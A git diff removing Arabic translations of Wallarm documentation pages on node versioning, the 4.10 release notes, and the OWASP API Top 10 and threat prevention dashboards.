      • التغييرات المتوافقة الأخرى
      تزداد القيمة بـ 2، على سبيل المثال: `4.0`, `4.2`. | مرة كل ربع | -| `` | نسخة التصحيح للعقدة:
      • إصلاحات الأخطاء الطفيفة
      • إضافة ميزات جديدة بعد طلب خاص
      القيمة الابتدائية هي `0`. تزداد القيمة بـ 1، على سبيل المثال: `4.2.0`, `4.2.1`. | مرة كل شهر | -| `` (اختياري) | نسخة بناء العقدة. تُعيّن القيمة تلقائيًا بواسطة منصة بناء الحزمة المستخدمة. لا يتم تعيين القيمة للمكونات المبنية يدويًا.
      تزداد القيمة بـ 1، على سبيل المثال: `4.2.0-1`, `4.2.0-2`. في حال فشل البناء الأول، يتم تشغيل البناء مرة أخرىويزداد الرقم. | مع كل إصدار جديد `` | - -نوصي بإستخدام صيغ إصدار عقدة Wallarm المختلفة عند تحميل الحزم أو الصور. تعتمد الصيغة على [شكل تثبيت عقدة Wallarm](../installation/supported-deployment-options.md): - -* `.` لحزم لينكس -* `..` لرسوم Helm -* `..[-]` لحاويات Docker وصور السحاب - - عند سحب صور Docker لـ Wallarm، يمكنك أيضًا تحديد نسخة عقدة التصفية بالصيغة `.`. إذ تحتوي النسخة المسحوبة من عقدة التصفية على تغييرات أحدث نسخة تصحيحية متاحة، قد يختلف سلوك نفس النسخة من الصورة `.` المسحوبة في فترات زمنية مختلفة. - -قد تختلف نسخ حزم عقد Wallarm ضمن نفس المكون. على سبيل المثال، إذا كان يلزم تحديث حزمة واحدة فقط، فإن الحزم الأخرى تحتفظ بالنسخة السابقة. - -## دعم الإصدار - -يدعم Wallarm فقط آخر 3 نسخ من عقدة التصفية بالطرق التالية: - -* للنسخة الأخيرة (مثلًا 4.2): يسمح بتحميل الحزم، يصدر إصلاحات للأخطاء ويحدّث المكونات الخارجية إذا تم اكتشاف ثغرات في النسخة المستخدمة. قد يصدر ميزات جديدة بعد طلب خاص. -* للنسخة السابقة (مثلًا 4.0): يسمح بتحميل الحزم ويصدر إصلاحات للأخطاء. -* للنسخة الثالثة المتاحة (مثلًا 3.6): يسمح بتحميل الحزم ويصدر إصلاحات للأخطاء لمدة 3 أشهر بعد تاريخ إصدار النسخة الأخيرة. بعد 3 أشهر، سيتم إهمال النسخة. - -مكونات العقد للنسخ المهملة متوفرة للتحميل والتثبيت، لكن إصلاحات الأخطاء والميزات الجديدة لا تصدر في النسخ المهملة. - -عند تثبيت عقدة التصفية لأول مرة، يُنصح باستخدام أحدث نسخة متوفرة. عند تثبيت عقدة تصفية إضافية في بيئة بها عقد مثبتة بالفعل، من المستحسن استخدام نفس النسخة في جميع التثبيتات للتوافق الكامل. - -## تحديث NGINX - -تُوزع معظم وحدات Wallarm مع مكونات NGINX الخاصة بنسخها. للحفاظ على عمل وحدات Wallarm مع آخر نسخ مكونات NGINX، نقوم بتحديثها على النحو التالي: - -* حزم Wallarm DEB و RPM مبنية على وحدات NGINX الرسمية و NGINX Plus. عند إصدار نسخة جديدة من NGINX / NGINX Plus، يلتزم Wallarm بتوفير تحديث لنسخته في يوم واحد. ينشر Wallarm هذا التحديث كنسخة ثانوية/تصحيح جديدة لنسخ العقدة المدعومة. -* يُبنى Wallarm Ingress Controller على أساس [متحكم دخول NGINX Community](https://github.com/kubernetes/ingress-nginx). بمجرد إصدار نسخة جديدة من متحكم دخول NGINX Community، يلتزم Wallarm بتوفير تحديث لنسخته في الـ 30 يومًا التالية. ينشر Wallarm هذا التحديث كنسخة ثانوية جديدة لأحدث متحكم دخول. - -## تحديث النسخة - -يُفترض أنك تستخدم أحدث نسخة متاحة من عقدة التصفية عند التثبيت أو التحديث أو التكوين للمنتج. تصف تعليمات عقدة Wallarm الأوامر التي تثبت تلقائيًا أحدث نسخة تصحيح وبناء متوفرة. - -### إشعار بالنسخة الجديدة - -ينشر Wallarm معلومات حول النسخ الرئيسية والثانوية الجديدة من خلال المصادر التالية: - -* الوثائق العامة -* [بوابة الأخبار](https://changelog.wallarm.com/) -* واجهة مستخدم Wallarm - - ![إشعار بنسخة جديدة في واجهة مستخدم Wallarm](../images/updating-migrating/wallarm-console-new-version-notification.png) - -يتم عرض معلومات حول التحديثات المتاحة للنسخ الرئيسية والثانوية ونسخ التصحيح لعقدة Wallarm أيضًا في واجهة مستخدم Wallarm → **العقد** للعقد العادية. يحتوي كل حزمة على الحالة **مُحدَّث** أو قائمة بالتحديثات المتاحة. على سبيل المثال، تبدو بطاقة عقدة التصفية بأحدث نسخ المكونات المثبتة كالتالي: - -![بطاقة العقدة](../images/user-guides/nodes/view-regular-node-comp-vers.png) - -### إجراء التحديث - -بالإضافة إلى إصدار النسخ الرئيسية والثانوية الجديدة لعقدة التصفية، يتم أيضًا نشر تعليمات التثبيت. للوصول إلى التعليمات حول كيفية تحديث المكونات المثبتة، يرجى استخدام التعليمات المناسبة من قسم **التحديث والتهيئة**. \ No newline at end of file diff --git a/docs/latest-ar/updating-migrating/what-is-new.md b/docs/latest-ar/updating-migrating/what-is-new.md deleted file mode 100644 index 2f0b6ab61b..0000000000 --- a/docs/latest-ar/updating-migrating/what-is-new.md +++ /dev/null @@ -1,86 +0,0 @@ -# ما الجديد في نود Wallarm إصدار 4.10 - -تم إصدار النسخة الجديدة من نود Wallarm! تُقدم هذه التحديث ميزة متقدمة لكشف محاولات استغلال بيانات الاعتماد، ما يعزز أمان واجهات البرمجة الخاصة بك. - -!!! info "المكونات المحسنة في الإصدار 4.10" - تم إصدار عدد قليل من المكونات، بما في ذلك الأداة التثبيتية الشاملة، صورة Docker المبنية على NGINX وصور السحاب (AMI، صورة GCP) كجزء من الإصدار 4.10، والتي تتضمن دعمًا للقدرات الجديدة المُدخلة. - -## كشف استغلال بيانات الاعتماد - -بدءًا من الإصدار 4.10، يُقدم Wallarm كشفًا فوريًا وإشعارات لمحاولات استغلال بيانات الاعتماد. استغلال بيانات الاعتماد، الإدخال الآلي لأزواج اسم المستخدم/البريد الإلكتروني وكلمات السر الضعيفة أو المسروقة في نماذج تسجيل الدخول على المواقع الإلكترونية للوصول غير المشروع إلى حسابات المستخدمين، أصبح الآن تحت المراقبة عن كثب. تتيح لك هذه الميزة تحديد الحسابات ذات البيانات الاعتمادية المُخترقة واتخاذ إجراءات لتأمينها، مثل إبلاغ أصحاب الحسابات وتعليق الوصول للحساب مؤقتًا. - -[تعلم كيفية تكوين كشف استغلال بيانات الاعتماد](../about-wallarm/credential-stuffing.md) - -![الهجمات - استغلال بيانات الاعتماد](../images/about-wallarm-waf/credential-stuffing/credential-stuffing-attacks.png) - -## صورة Docker المبنية على NGINX المحسنة والأكثر أمانًا - -تم تحديث [صورة Docker لنود التصفية المبني على NGINX الخاص بـWallarm](../admin-en/installation-docker-en.md) لمزيد من الأمان والتحسين. التحديثات الرئيسية تشمل: - -* الآن، تُبنى صورة Docker على Alpine Linux بدلاً من Debian، لتوفير مكون أكثر أمانًا وخفة. يُرجى ملاحظة أنَّ وحدات NGINX `auth-pam` و `subs-filter`، التي كانت مُدرجة سابقًا، لم تعد مُرفقة مع صورة Docker. -* تم التحديث إلى الإصدار الثابت الأخير من NGINX، 1.24.0، بدلاً من الإصدار السابق 1.14.x. على الرغم من أن معظم الثغرات الأمنية في 1.14.x تم إصلاحها بواسطة فريق Debian (كانت الصورة السابقة مبنية على Debian 10.x)، فإن الترقية إلى 1.24.0 تعالج الثغرات الأمنية المتبقية لتحسين الأمان. - - يعالج تحديث NGINX، جنبًا إلى جنب مع الانتقال إلى Alpine Linux، ثغرة الإعادة السريعة HTTP/2 (CVE-2023-44487)، بسبب التصحيح الخاص بـAlpine المُطبق في NGINX 1.24.0. - -* الدعم لمعالجات بمعمارية ARM64، والذي يُحدد تلقائيًا أثناء عملية التثبيت. -* داخل حاوية Docker، جميع العمليات تستخدم الآن المستخدم غير الجذر `wallarm`، تغييرًا عن إعداد المستخدم `root` السابق. يؤثر ذلك على عملية NGINX أيضًا. -* تم تحديث نقطة النهاية [`/wallarm-status`](../admin-en/configure-statistics-service.md) لتصدير المقاييس بتنسيق Prometheus، بدلاً من JSON. هذا ينطبق خصوصًا عند الوصول لنقطة النهاية من خارج حاوية Docker. علمًا بأنه يجب ضبط متغير البيئة [`WALLARM_STATUS_ALLOW`](../admin-en/installation-docker-en.md#wallarm-status-allow-env-var) بشكل مناسب لهذه الوظيفة. -* الآن، تُبنى صورة Docker باستخدام [الأداة التثبيتية الشاملة](../installation/nginx/all-in-one.md)، مما يغير هيكلها الداخلي للدلائل: - - * دليل ملفات السجل: `/var/log/wallarm` → `/opt/wallarm/var/log/wallarm`. - * الدليل الذي يحتوي على ملفات البيانات الاعتمادية لنود Wallarm للاتصال بالسحاب: `/etc/wallarm` → `/opt/wallarm/etc/wallarm`. - * مسار الدليل `/usr/share` → `/opt/wallarm/usr/share`. - - يُقدم هذا المسار الجديد لـ[صفحة الحظر النموذجية](../admin-en/configuration-guides/configure-block-page-and-code.md)، الموجودة في `/opt/wallarm/usr/share/nginx/html/wallarm_blocked.html`، وللسكريبت التشخيصي، الموجود في `/opt/wallarm/usr/share/wallarm-common/collect-info.sh`. - -ميزات المنتج التي تم إصدارها حديثًا مدعومة أيضًا بصورة Docker المبنية على NGINX بالتنسيق الجديد. - -## صور السحاب المحسنة - -لقد تم تحسين [صورة Amazon Machine Image (AMI)](../installation/cloud-platforms/aws/ami.md) و[صورة Google Cloud Machine](../installation/cloud-platforms/gcp/machine-image.md). التحديثات الرئيسية تشمل: - -* الآن، تستخدم الصور السحابية Debian 12.x (bookworm)، الإصدار الثابت الأخير، بدلاً من Debian 10.x (buster) المُهمَلة لتحسين الأمان. -* التحديث إلى الإصدار الأحدث من NGINX، 1.22.0، بدلاً من الإصدار السابق 1.14.x. -* الدعم لمعالجات بمعمارية ARM64، والذي يُحدد تلقائيًا أثناء عملية التثبيت. -* الآن تُبنى الصور السحابية باستخدام [الأداة التثبيتية الشاملة](../installation/nginx/all-in-one.md)، مما يغير هيكلها الداخلي للدلائل: - - * السكريبت لتسجيل النود: `/usr/share/wallarm-common/register-node` → `/opt/wallarm/usr/share/wallarm-common/cloud-init.py`. - * دليل ملفات السجل: `/var/log/wallarm` → `/opt/wallarm/var/log/wallarm`. - * الدليل الذي يحتوي على ملفات البيانات الاعتمادية لنود Wallarm للاتصال بالسحاب: `/etc/wallarm` → `/opt/wallarm/etc/wallarm`. - * مسار الدليل `/usr/share` → `/opt/wallarm/usr/share`. - - يُقدم هذا المسار الجديد لـ[صفحة الحظر النموذجية](../admin-en/configuration-guides/configure-block-page-and-code.md)، الموجودة في `/opt/wallarm/usr/share/nginx/html/wallarm_blocked.html`، وللسكريبت التشخيصي، الموجود في `/opt/wallarm/usr/share/wallarm-common/collect-info.sh`. - - * تم إزالة ملف الإعدادات العالمية لنود التصفية Wallarm `/etc/nginx/conf.d/wallarm.conf`. - -ميزات المنتج التي تم إصدارها حديثًا مدعومة أيضًا بصور السحاب بالتنسيق الجديد. - -## معالجة الثغرات الأمنية - -تعالج النسخة 4.10.1 العديد من الثغرات الأمنية ذات الشدة العالية والحرجة في مكونات تثبيت Wallarm، ما يعزز موقع البرنامج الأمني من خلال استبدال المكونات المعرضة للخطر سابقًا. - -ومن بين الثغرات الأمنية التي تم معالجتها تلك التي حُددت بواسطة [CVE-2020-36327](https://nvd.nist.gov/vuln/detail/CVE-2020-36327)، [CVE-2023-37920](https://nvd.nist.gov/vuln/detail/CVE-2023-37920)، والعديد من الأخرى. يُمكن العثور على قائمة كاملة بالثغرات الأمنية المعالجة، جنبًا إلى جنب مع CVEs المحددة لكل مكون تثبيت للنود، ضمن [جرد إصدارات مكونات النود](node-artifact-versions.md). - -## عند الترقية من نود 3.6 وما دون - -إذا كنت ترقي من الإصدار 3.6 أو أقل، تعرف على جميع التغييرات من [القائمة المنفصلة](older-versions/what-is-new.md). - -## أي نودات Wallarm يُنصح بترقيتها؟ - -* نودات Wallarm العميلة والمتعددة المستأجرين من الإصدار 4.6 و4.8 للبقاء محدثًا مع إصدارات Wallarm ومنع [إهمال الوحدات المثبتة](versioning-policy.md#version-support). -* نودات Wallarm العميلة والمتعددة المستأجرين من الإصدارات [غير المدعومة](versioning-policy.md#version-list) (4.4 وما دون). التغييرات المتوفرة في نود Wallarm 4.10 تبسط تكوين النود وتحسن من فلترة حركة المرور. يُرجى ملاحظة أن بعض إعدادات نود 4.10 **غير متوافقة** مع نودات الإصدارات الأقدم. - -## عملية الترقية - -1. راجع [التوصيات لترقية الوحدة](general-recommendations.md). -2. قم بترقية الوحدات المثبتة وفقًا لتعليمات خيار نشر نود Wallarm الخاص بك: - - * [الأداة التثبيتية الشاملة](all-in-one.md) - * [حاوية Docker مع الوحدات لـNGINX](docker-container.md) - * [وحدة تحكم إدخال NGINX بوحدات Wallarm المدمجة](ingress-controller.md) - * [صورة النود السحابية](cloud-image.md) - * [نود متعدد المستأجرين](multi-tenant.md) - ----------- - -[تحديثات أخرى في منتجات ومكونات Wallarm →](https://changelog.wallarm.com/) \ No newline at end of file diff --git a/docs/latest-ar/user-guides/dashboards/api-discovery.md b/docs/latest-ar/user-guides/dashboards/api-discovery.md deleted file mode 100644 index 9dfc7dd57f..0000000000 --- a/docs/latest-ar/user-guides/dashboards/api-discovery.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -search: - exclude: true ---- - -[apid-overview]: ../../api-discovery/overview.md -[apid-risk-score]: ../../api-discovery/risk-score.md -[apid-track-changes]: ../../api-discovery/track-changes.md -[apid-rogue]: ../../api-discovery/rogue-api.md -[check-attack]: ../../user-guides/events/check-attack.md -[img-api-discovery-widget]: ../../images/user-guides/dashboard/api-discovery-widget.png - -# لوحة تحكم اكتشاف الـ API - ---8<-- "../include/api-discovery/dashboard.md" \ No newline at end of file diff --git a/docs/latest-ar/user-guides/dashboards/bi-dashboards.md b/docs/latest-ar/user-guides/dashboards/bi-dashboards.md deleted file mode 100644 index 5fbebdd88c..0000000000 --- a/docs/latest-ar/user-guides/dashboards/bi-dashboards.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/user-guides/dashboards/bi-dashboards.md" \ No newline at end of file diff --git a/docs/latest-ar/user-guides/dashboards/owasp-api-top-ten.md b/docs/latest-ar/user-guides/dashboards/owasp-api-top-ten.md deleted file mode 100644 index d2502c0657..0000000000 --- a/docs/latest-ar/user-guides/dashboards/owasp-api-top-ten.md +++ /dev/null @@ -1,37 +0,0 @@ -# لوحات "أو وا س بي" العشرة الأعلى في أمن الواجهات البرمجية للتطبيقات - -[مشروع OWASP للأمن الأعلى عشر لواجهات البرمجية للتطبيقات](https://owasp.org/www-project-api-security/) هو المعيار الذهبي لتقييم مخاطر الأمان في واجهات البرمجية للتطبيقات. لمساعدتك في قياس موقف أمان الواجهات البرمجية للتطبيقات (APIs) الخاصة بك ضد تهديدات الأمان هذه، تقدم Wallarm لوحات معلومات توفر رؤية واضحة ومقاييس للتقليل من التهديدات. - -تغطي لوحات المعلومات المخاطر الأعلى عشر لأمن واجهات البرمجية للتطبيقات حسب OWASP لكلا الإصدارين [2019](https://owasp.org/API-Security/editions/2019/en/0x00-header/) و [2023](https://owasp.org/API-Security/editions/2023/en/0x00-header/). - -باستخدام هذه اللوحات، يمكنك تقييم الحالة الأمنية العامة والتعامل بشكل استباقي مع مشكلات الأمان التي تم اكتشافها عن طريق إعداد ضوابط الأمان المناسبة . - -![لوحة OWASP API Top 10 2023](../../images/user-guides/dashboard/owasp-api-top-ten-2023-dash.png) - -## تقييم التهديد - -تقدر Wallarm المخاطر لكل تهديد لواجهة برمجية للتطبيقات على أساس الضوابط الأمنية المطبقة والثغرات الأمنية المكتشفة: - -* **الأحمر** - يحدث إذا لم يتم تطبيق أي ضوابط أمنية أو إذا كانت واجهات البرمجية للتطبيقات الخاصة بك لديها ثغرات أمنية عالية الخطورة نشطة. -* **الأصفر** - يحدث إذا تم تطبيق الضوابط الأمنية جزئيًا فقط أو إذا كانت واجهات البرمجية للتطبيقات الخاصة بك لديها ثغرات أمنية نشطة متوسطة أو منخفضة الخطورة. -* **الأخضر** يشير إلى أن واجهات البرمجية للتطبيقات الخاصة بك محمية ولا تمتلك ثغرات أمنية مكتشفة. - -لكل تهديد من أعلى عشرة تهديدات لواجهات البرمجية للتطبيقات حسب OWASP يمكنك العثور على معلومات مفصلة حول التهديد، الضوابط الأمنية المتاحة، والثغرات الأمنية المترابطة، والتحقيق في الهجمات ذات الصلة: -![الأعلى عشرة لواجهات البرمجية للتطبيقات حسب OWASP](../../images/user-guides/dashboard/owasp-api-top-ten-2023-dash-details.png) - -## ضوابط الأمان لـ Wallarm لـ OWASP API 2023 - -توفر منصة الأمان Wallarm حماية كاملة ضد الأعلى عشرة للأمان لواجهات البرمجية للتطبيقات حسب OWASP 2023 عبر الضوابط الأمنية التالية: - -| تهديد "أو وا س بي" الأعلى عشرة لواجهات البرمجية للتطبيقات 2023 | ضوابط الأمان في Wallarm | -| ----------------------- | ------------------------ | -| [API1:2023 التفويض المكسور على مستوى الكائن](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md) |
      • [التخفيف التلقائي من BOLA](../../admin-en/configuration-guides/protecting-against-bola.md#automatic-bola-protection-for-endpoints-discovered-by-api-discovery) لإنشاء مشغلات تلقائيًا لحماية النقاط الطرفية المعرضة للخطر
      | -| [API2:2023 حذف الدخول المكسر](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa2-broken-authentication.md) |
      • [ماسح الثغرات الأمنية](../../about-wallarm/detecting-vulnerabilities.md#vulnerability-scanner) لاكتشاف الثغرات الأمنية النشطة من النوع المتقابل
      • [مشغل القوة الغاشمة](../../admin-en/configuration-guides/protecting-against-bruteforce.md) للتقليل من هجمات القوة الغاشمة التي تستهدف نقاط الطرف من الدخول
      | -| [API3:2023 تفويض مكسر على مستوى خصائص الكائن](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa3-broken-object-property-level-authorization.md) |
      • [ماسح الثغرات الأمنية](../../about-wallarm/detecting-vulnerabilities.md#vulnerability-scanner) لاكتشاف الثغرات الأمنية النشطة من النوع المتقابل
      | -| [API4:2023 استهلاك غير محدود للمصدر](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa4-unrestricted-resource-consumption.md) |
      • [مشغل القوة الغاشمة](../../admin-en/configuration-guides/protecting-against-bruteforce.md) للتقليل من هجمات القوة الغاشمة والتي غالبًا ما تؤدي إلى نفاد الخدمة، مما يجعل الواجهة البرمجية للتطبيق غير مستجيبة أو غير متاحة حتى
      | -| [API5:2023 التفويض المكسر على مستوى الوظائف](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa5-broken-function-level-authorization.md) |
      • [ماسح الثغرات الأمنية](../../about-wallarm/detecting-vulnerabilities.md#vulnerability-scanner) لاكتشاف الثغرات الأمنية النشطة من النوع المتقابل
      • [مشغل التصفح الإجباري](../../admin-en/configuration-guides/protecting-against-bruteforce.md) للتقليل من محاولات التصفح الإجباري والتي أيضًا طريقة لاستغلال هذا التهديد
      | -| [API6:2023 الوصول غير المحدود لتدفقات الأعمال الحساسة](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows.md) |
      • [وقائع الإساءة لواجهة البرمجية للتطبيق](../../api-abuse-prevention/overview.md) التي تحد من أعمال البوت الخبيثة
      | -| [API7:2023 طلب الخادم الجانبي المزور](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa7-server-side-request-forgery.md) |
      • [ماسح الثغرات الأمنية](../../about-wallarm/detecting-vulnerabilities.md#vulnerability-scanner) لاكتشاف الثغرات الأمنية النشطة من النوع المتقابل
      | -| [API8:2023 التكوين الأمني المكسر](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa8-security-misconfiguration.md) |
      • [ماسح الثغرات الأمنية](../../about-wallarm/detecting-vulnerabilities.md#vulnerability-scanner) لاكتشاف الثغرات الأمنية النشطة من النوع المتقابل
      • Wallarm node self-checks للحفاظ على الإصدارات الحديثة للعقدة والسياسات الأمنية (راجع [كيفية معالجة المشكلات](../../faq/node-issues-on-owasp-dashboards.md))
      | -| [API9:2023 إدارة المخزون غير الصحيحة](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa9-improper-inventory-management.md) |
      • [اكتشاف واجهة البرمجية للتطبيق](../../api-discovery/overview.md) لاكتشاف قائمة واجهات البرمجية للتطبيق الحقيقية تلقائيًا استنادًا إلى حركة المرور الحقيقية
      | -| [API10:2023 الاستهلاك غير الآمن لواجهات البرمجية للتطبيقات](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xaa-unsafe-consumption-of-apis.md) |
      • [ماسح الثغرات الأمنية](../../about-wallarm/detecting-vulnerabilities.md#vulnerability-scanner) لاكتشاف الثغرات الأمنية النشطة من النوع المتقابل
      | diff --git a/docs/latest-ar/user-guides/dashboards/threat-prevention.md b/docs/latest-ar/user-guides/dashboards/threat-prevention.md deleted file mode 100644 index 5175a30898..0000000000 --- a/docs/latest-ar/user-guides/dashboards/threat-prevention.md +++ /dev/null @@ -1,128 +0,0 @@ -# لوحة معلومات الوقاية من التهديدات - -تجمع Wallarm تلقائيًا مقاييس حول الحركة المعالجة وتعرضها في قسم **لوحات المعلومات → الوقاية من التهديدات** في وحدة تحكم Wallarm. تتيح لوحة المعلومات لأي مستخدم تحليل اتجاهات الحركة الشرعية والضارة والحصول على حالة ضعف التطبيقات لفترة زمنية. - -تُعرض المقاييس في القطع التالية: - -* إحصائيات للشهر الحالي وسرعة مواجهة الطلبات -* الحركة الشرعية والضارة -* أنواع الهجمات -* بروتوكولات API -* مصادر الهجمات -* أهداف الهجوم -* ماسح الثغرات - -يمكنك تصفية بيانات القطعة حسب [التطبيقات](../settings/applications.md) والفترة الزمنية. بشكل افتراضي، تُمثل القطع الإحصائيات لجميع التطبيقات للشهر الأخير. - -يسمح أي قطعة بفتح [قائمة الأحداث](../events/check-attack.md) التي تم جمع الإحصائيات عنها. - -!!! معلومة "البدء باستخدام Wallarm" - إذا قمت بتسجيل حساب Wallarm في [السحابة](../../about-wallarm/overview.md#cloud) الأمريكية، ستتمكن من استكشاف الميزات الأساسية لـWallarm في **ساحة اللعب** مع الوصول للقراءة فقط إلى أقسام وحدة تحكم Wallarm. استخدمه لتجربة الميزات الرئيسية لمنصة Wallarm دون الحاجة إلى نشر أي مكونات في بيئتك. - - تتضمن قسم لوحة المعلومات أيضًا زر **البدء** للمستخدمين الجدد. عند النقر على الزر، ستحصل على قائمة بخيارات اكتشاف المنتج المفيدة ومن بينها: - - * خيار **جولة التوجيه** سيوفر لك خيارات النشر المدعومة من Wallarm وروابط إلى تعليمات النشر ذات الصلة. - * خيار **ساحة لعب Wallarm** سيقوم بتوجيهك إلى ساحة لعب وحدة تحكم Wallarm مع الوصول للقراءة فقط لأقسامها. هذا الخيار متاح فقط لمستخدمي السحابة الأمريكية. - -## إحصائيات للشهر الحالي وسرعة مواجهة الطلبات - -تعرض القطعة البيانات التالية: - -* الحصة الشهرية للطلبات المحددة في [خطة الاشتراك](../../about-wallarm/subscription-plans.md) -* عدد [الضربات](../../about-wallarm/protecting-against-attacks.md#hit) المكتشفة والمحظورة خلال الشهر الحالي -* السرعة الفعلية التي يتم بها مواجهة الطلبات والضربات - -![إحصائيات الشهر الحالي](../../images/user-guides/dashboard/current-month-stats.png) - -## الحركة الشرعية والضارة لفترة - -تعرض القطعة إحصائيات ملخصة للحركة المعالجة خلال الفترة المختارة: - -* يمثل الرسم البياني توزيع البيانات على مر الزمن، مما يمكنك من تتبع فترات النشاط الأكثر نشاطًا -* العدد الإجمالي للطلبات المعالجة، [الضربات](../../glossary-en.md#hit)، و[الحوادث](../../glossary-en.md#security-incident)، وعدد الضربات المحظورة -* الاتجاهات: تغير في عدد الأحداث لفترة مختارة ولنفس الفترة السابقة - -![الحركة الشرعية والضارة](../../images/user-guides/dashboard/traffic-stats.png) - -## أنواع الهجمات - -تعرض هذه القطعة [أعلى أنواع الهجمات المكتشفة](../../attacks-vulns-list.md) التي تساعد في تحليل أنماط الحركة الضارة وسلوك المهاجمين. - -باستخدام هذه البيانات، يمكنك تحليل قابلية خدماتك لأنواع هجمات مختلفة واتخاذ التدابير المناسبة لتحسين أمن الخدمة. - -![أنواع الهجمات](../../images/user-guides/dashboard/attack-types.png) - -## بروتوكولات API - -تعرض هذه القطعة الإحصائيات حول بروتوكولات API التي يستخدمها المهاجمون. يمكن لـWallarm تحديد بروتوكولات API التالية: - -* GraphQL -* gRPC -* WebSocket -* REST API -* SOAP -* XML-RPC -* JSON-RPC -* WebDAV - -باستخدام القطعة، يمكنك تحليل الطلبات الضارة المرسلة عبر بروتوكولات معينة وتقييم قابلية نظامك لمثل هذه الطلبات. - -![أنواع الهجمات](../../images/user-guides/dashboard/api-protocols.png) - -## CVEs - -تعرض قطعة **CVEs** قائمة بأعلى الثغرات الأمنية CVE التي استغلها المهاجمون خلال الإطار الزمني المختار. من خلال تغيير نوع الفرز، يمكنك الاطلاع على أحدث CVEs، وتتبع الـCVEs التي تعرضت للهجوم أكثر. - -يتم تقديم كل CVE مع التفاصيل مثل درجة CVSS v3.0، وتعقيد الهجوم، والامتيازات المطلوبة وغيرها المستلمة من [قاعدة بيانات الضعف](https://vulners.com/). الثغرات الأمنية المسجلة قبل عام 2015 لا تُقدم مع درجة CVSS v3.0. - -![CVE](../../images/user-guides/dashboard/cves.png) - -يمكنك مراجعة نظامك للوقوف على الثغرات البارزة وإذا وُجدت، تنفيذ توصيات التعويض المناسبة للقضاء على خطر استغلال الثغرة. - -## التوثيق - -تعرض هذه القطعة طرق التوثيق التي استخدمها المهاجمون خلال الإطار الزمني المحدد، مثل: - -* API Key -* Basic Auth -* Bearer Token -* Cookie Auth، وغيرها. - -![التوثيق](../../images/user-guides/dashboard/authentication.png) - -تتيح هذه المعلومات لك حدد طرق التوثيق الضعيفة ومن ثم اتخاذ خطوات وقائية. - -## مصادر الهجوم - -تعرض هذه القطعة الإحصائيات حول مجموعات مصادر الهجوم: - -* المواقع -* الأنواع، مثل Tor، Proxy، VPN، AWS، GCP، وغيرها. - -يمكن أن تساعد هذه البيانات في تحديد مصادر الهجوم المسيئة وتمكين حظر الطلبات القادمة منها باستخدام [قوائم العناوين](../ip-lists/overview.md) الرمادية أو قوائم الحظر. - -يمكنك عرض بيانات عن كل مجموعة مصادر على علامات التبويب المنفصلة. - -![مصادر الهجوم](../../images/user-guides/dashboard/attack-sources.png) - -## أهداف الهجوم - -تعرض هذه القطعة النطاقات و[التطبيقات](../settings/applications.md) التي تعرضت للهجوم بشكل كبير. يتم عرض المقاييس التالية لكل جسم: - -* عدد الحوادث المكتشفة -* عدد الضربات المكتشفة -* الاتجاهات: تغير في عدد الضربات للفترة المختارة ولنفس الفترة السابقة. على سبيل المثال: إذا فحصت الإحصائيات للشهر الأخير، تعرض الاتجاه الفرق في عدد الضربات بين الشهر الأخير والشهر السابق كنسبة مئوية - -يمكنك عرض البيانات على النطاقات والتطبيقات على علامات التبويب المنفصلة. - -![أهداف الهجوم](../../images/user-guides/dashboard/attack-targets.png) - -## ماسح الثغرات - -تعرض قطعة الماسح الإحصائيات حول الثغرات المكتشفة في [الأصول العامة](../scanner.md): - -* عدد الثغرات من جميع مستويات المخاطر المكتشفة خلال الفترة المختارة -* عدد الثغرات النشطة من جميع مستويات المخاطر في نهاية الفترة المختارة -* التغيرات في عدد الثغرات من جميع مستويات المخاطر للفترة المختارة - -![قطعة الماسح](../../images/user-guides/dashboard/dashboard-scanner.png) \ No newline at end of file diff --git a/docs/latest-ar/user-guides/events/analyze-attack.md b/docs/latest-ar/user-guides/events/analyze-attack.md deleted file mode 100644 index f8c2c7da26..0000000000 --- a/docs/latest-ar/user-guides/events/analyze-attack.md +++ /dev/null @@ -1,174 +0,0 @@ -[link-check-attack]: check-attack.md -[link-false-attack]: false-attack.md -[img-analyze-attack]: ../../images/user-guides/events/analyze-attack.png -[img-analyze-attack-raw]: ../../images/user-guides/events/analyze-attack-raw.png -[img-current-attack]: ../../images/user-guides/events/analyze-current-attack.png -[glossary-attack-vector]: ../../glossary-en.md#malicious-payload - -# تحليل الأحداث - -يمكنك فحص الأحداث في أقسام **الهجمات** و**الحوادث** من وحدة تحكم Wallarm. - -## تحليل حدث - -يمكنك الحصول على معلومات حول حدث من نوع معين (هجوم أو حادث) عن طريق التحري في جميع الأعمدة الموجودة في الجدول كما هو موضح في [فحص الهجمات](check-attack.md) و [فحص الحوادث](check-incident.md). - -## تحليل الطلبات في حدث - -1. حدد الهجوم أو الحادث الذي يهمك. -2. انقر على الرقم الموجود في عمود *الطلبات*. - -عند النقر على الرقم، ستتوسع جميع الطلبات الموجودة في الحدث المحدد. - -![الطلبات في الحدث][img-analyze-attack] - -يعرض كل طلب المعلومات المرتبطة في الأعمدة التالية: - -* *التاريخ*: تاريخ ووقت الطلب. -* *البيانات المحملة*: [الحمولة الخبيثة][glossary-attack-vector]. عند النقر على القيمة الموجودة في عمود البيانات المحملة، يتم عرض معلومات الإشارة على نوع الهجوم. -* *المصدر*: عنوان IP الذي أصدر الطلب. عند النقر على عنوان الـ IP، يتم إضافة قيمة عنوان الـ IP إلى حقل البحث. يتم عرض المعلومات التالية أيضًا إذا تم العثور عليها في قاعدة البيانات IP2Location أو ما شابه: - * البلد / المنطقة التي تم تسجيل عنوان الـ IP فيها. - * نوع المصدر، مثل **البروكسي**، **Tor** أو منصة السحابة التي تم تسجيل الـ IP فيها، وما إلى ذلك. - * ستظهر علامة **الـ IPs الخبيثة** إذا كان يعرف أن عنوان الـ IP هذا يتم استخدامه للأنشطة الخبيثة. وهذا يعتمد على السجلات العامة والتحقق الخبير. -* *الحالة*: حالة حجب الطلب 